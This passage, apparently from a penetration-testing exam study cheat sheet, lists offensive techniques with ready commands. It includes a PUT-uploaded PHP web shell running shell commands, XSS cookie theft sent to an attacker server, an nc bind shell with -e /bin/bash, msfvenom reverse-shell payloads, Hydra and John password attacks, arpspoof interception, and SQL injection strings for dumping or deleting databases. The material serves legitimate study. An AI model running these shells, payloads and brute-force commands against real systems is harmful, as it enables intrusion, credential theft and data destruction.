165 | ```
166 | ```bash
167 | # Example
168 | nc vicitm.site 80
169 | PUT /payload.php HTTP/1.0
170 | Content-type: text/html
171 | Content-length: 20 # NOTE: You have to have know length of the contents before sending, wc -m payload.php gives us length in bytes
172 | ```
173 | - Great shell that works with `PUT`:
174 | ```php
175 | ';
180 | $result = shell_exec($cmd);
181 | echo $result;
182 | echo '';
183 | }
184 | ?>
185 | ```
186 | - We can now send requests on the site with `victim.site/shellweUploaded?cmd=cat /etc/passwd`
187 | - `Delete` is another dangerous verb to lookout for - Deletes files off a server (DoS/ Data Loss)
188 | ```bash
189 | DELETE /path/login.php HTTP/1.1
190 | Host: www.website.com
191 | ```
192 | - `POST` parameters (form data) only work in the **message body**
193 | - XSS: stealing cookie content and sending it to an attacker
194 | - XSS to insert on target:
195 | ```html
196 |
200 | ```
201 | - PHP script to store captured data on our c2:
202 | ```php
203 |
210 | ```
211 |
212 | ### Passwords
213 | - John the Ripper
214 | - `unshadow passwd shadow > crackme` - Sets the pass/ shadow in a format john will accept to begin cracking on crackme
215 | - `john --wordlist=/usr/share/SecLists/Passwords.txt --pot=hashestocrack hashestocrack` - Will overwrite the john pot file in case you want to run multiple attempts on the same file in the same session.
216 | - `john --incremental --users: crackme` - NOTE: Incremental is not meant to be used with a wordlist and will attempt typical brute-force. Will only attempt specified users instead of going through all.
217 | - `john --wordlist --users:victim1,victim2 crackme` - Uses default wordlist for a dictionary attack
218 | - `john --wordlist=/usr/share/wordlist/rockyou.txt --users:vitcim1 crackme` - Using custom wordlists
219 |
220 | ### NetBIOS
221 | - Why is NetBIOS great to enumerate? Gives us information about:
222 | - **Network Shares**
223 | - Hostname
224 | - NetBIOS name
225 | - Domain
226 | - `\\ComputerName\C$` - allows us to access a disk volume on the share. (C$, D$, E$...)
227 | - `\\ComputerName\admin$` - Gives us the Windows installation directory
228 | - `\\ComputerName\ipc$` - (Can't be viewed in explorer, stick to the terminal) Taps/ communicates directly with processes running on that network. For a null session: `net use \\\IPC$ "" /user:`
229 | - Enumeration
230 | - `nbstat -A 10.10.10.222`
231 | - `<00>` - Means that this machine is a CLIENT
232 | - `<20>` - Means file sharing is enabled on that machine. Enumerate it further, this is of most importance.
233 | - `NET VIEW ` - To enumerate the file sharing on that machine
234 | - NOTE: To enumerate on linux use `nmblookup -A 10.10.10.222` or even better, `smbclient -L \\10.10.10.222 -N` where flag `-N` is to omit NetBIOS requesting a password
235 | - `UNIQUE` - Means that machine can have only 1 IP assigned to it
236 | - `enum4linux -n 10.10.10.222`
237 | - `nmap -script=smb-brute 10.10.10.222` - Quickly gives us a login and password for users
238 |
239 | ### Meterpreter
240 | - `reverse_tcp` - Will attempt to connect back to our (attacking) machine. (Helps evade FW, if you choose the right port)
241 | - `bind_tcp` - Creates a server-process on the victim machine waiting for us to connect to it.
242 | - When navigating a Win machine, make sure to escape the `\`, so instead of `cd C:\` it should be: `cd C:\\`
243 | - Popular commands:
244 | - `route` (IMPORTANT) - Gateway info and routes
245 | - `getsystem` - Automatic PrivEsc, if possible. Won't work in modern Win machines, use `bypassuac` instead which is a separate exploit (Set session to background, then set bypassuac, afterward attempt getsystem again).
246 |
247 | ### Helpful Commands
248 | - `nmap -sn 10.10.10.22/24 | grep -oP '(?<=Nmap scan report for )[^ ]*'` Clean nmap ping sweep - WARNING: can omit some alive hosts out
249 | - `nc -v 127.0.0.1 8888` will let us contact a listening port on the target address here localhost. This is not to be confused with the listener we typically use in reverse shells `nc nvlp 8888`. The first command is used to call the second command and establish a connection.
250 | - For a simple shell if the target host has nc:
251 | - On target host: `nc -nvlp 1337 -e /bin/bash` where `-e` executes any command.
252 | - On our machine: `nc -v 127.0.0.1 1337` of course, instead of localhost, insert the target IP.
253 | - SQLi:
254 | - `' UNION SELECT null; -- -` - Basic union injection, extra dash to avoid browsers removing trailing space. Of course, keep adding nulls till we get a result.
255 | - SQLMAP: `sqlmap -u 'http://vuln.site/view.php?id=203' -p id --technique=U` - Enum id parameter and use UNIONs
256 | - `substring('entry', x, y)` - Used as a boolean if `' or 1=1` or alternatives are blocked where x = index/ position of char, and y = length of entry (1 per word/ entry).
257 | - This is really used for predicting DB names and enumerating them by hand, instead SQL does all this work for us.
258 | - EX: User if user() = root@localhost is signed into the DB, we can check that:
259 | - `SELECT substring(user(), 1, 1)` Returns `1` if root is signed in
260 | - `user()` - Tells us current user logged into the DB
261 | - Hydra
262 | - HTTP-POST login dictionary `hydra crackme.site http-post-form "/login.php:usr=^USER^&pwd=^PASS^:invalid credentials" -L /usr/share/wordlist.txt -P /usr/share/passList.txt -f -V`, where flag `-f` is to stop the attack as soon as we find one successful result,
263 | - SSH Attack `hydra 10.10.10.222 ssh -L /usr/share/userList.txt -P /usr/share/passList.txt -f -V`
264 | - Port forward: `echo 1 > /proc/sys/net/ipv4/ip_forward`
265 | - Arpspoof: `arpspoof -i -t -r `, NOTE: `-t` address is the source ip (often the victim) and the `-r` is the destination ip. In a MiTM, we are between them.
266 | - `arpspoof -i eth0 -t 10.10.10.222 -r 10.10.10.240` - Will intercept traffic in that .222-240 range, this is where Wireshark would be of great help.
267 | - To confirm a blind RCE, you can use a time test out if you really have RCE. Ex: send `sleep+5` and see if the request takes 5 seconds to come back in burp.
268 | - `msfvenom -p linux/x64/shell/reverse_tcp lhost= lport=443 -f elf -o 443` - Simple msfvenom reverse shell
269 | - `msfvenom -p php/reverse_php lhost= lport=443 -o revShell.php` - Simple php reverse shell, use with metasploit to get meterpreter later on if possible.
270 | - `use post/multi/manager/shell_to_meterpreter` - To upgrade from a simple shell
271 |
272 | ### Good to Know
273 | - When testing for SQLi, don't just stop at the web UI once you find an injection, use burp to inject into:
274 | - Headers
275 | - Cookies
276 | - POST: Helps circumvent client-side input validation
277 | - Use scp to download files to our local machine: `scp root@10.10.10.222:/etc/passwd .` - where root=victim along with the victim ip
278 | - SQLi can also allow us to nuke DBs where we are allowed to delete things, insert a true statement and the DB will be nuked.
279 | - UNION SQLi is faster and is less prone to crashing the system. So when running SQLMap, try to select a technique instead of leaving it empty which can possibly crash the target host
280 | - A full dump can also crash the system, so dump only specific tables/ columns to be less noisy
281 | - Backups are typically stored in .bak, .old, .txt, and .xxx. So if we want to find any backups on a site run gobuster against those.c
282 | - Directory Enumeration
283 | - If gobuster/ dirb are being blocked, you might need a User Agent to emulate browser traffic and snag some dirs. Ex: `dirb http://targetsite.site -a "Mozilla/ browser agent we copied from an online source"`
284 | - Adding a cookie can give more results with gobuster/ dirbuster. EX: `dirb http://targetsite.site -c "COOKIE:XYZ"` copy the
285 | - Adding a basic auth can also bring up more results `-U` in gobuster, and in dirb: `dirb http://targetsite.site -u "admin:password"`
286 | - `-x txt,php,/` to include directories with the file extensions search in gobuster
287 |
288 | ### Important Last Minute Reminders:
289 | - Once you compromise a machine, cat the /etc/hosts to find any virtual hosts you might need later on. Was crucial in the labs.
290 | - MUST do a full port scan with nmap, the labs had many with some close the 65k ports.
291 | - Very fast nmap scan for full ports `sudo nmap -T4 --open -sS --min-rate=1000 --max-retries=2 -p- -oN full-scan 10.10.10.x` T5 is not much faster and risks skipping some ports.
292 | - For web: After you get some creds, try to pipe them into gobuster for an authenticated traversal.
293 | - Make sure to keep your machine's new IP in mind when scanning. As dumb as it might sound, it can trip you up after a few boxes.
294 | - To see just successful ports with an egress check:
295 | - `tcp.seq==1 and tcp.ack==1` - fast way to filter outbound requests during an egress check, **after** capturing the traffic with Wireshark, etc.
296 | - When doing a scan, if a host has **ALL** ports closed, it's a **CLIENT**
297 | - When scanning for service versions, to get more information about the operating system and such, grab the banner for that open port with nc.
298 | - If SQLi does not work right away, try appending commends instead of using a boolean:
299 | - Instead of `page?id=21' or 1=1 -- -`, insert the next statement directly, `page?id=21 AND SELECT ...`
300 | - If a specific dictionary list is giving you troubles with Hydra-particularly, check if the list has a comment on top and remove it.
301 |
--------------------------------------------------------------------------------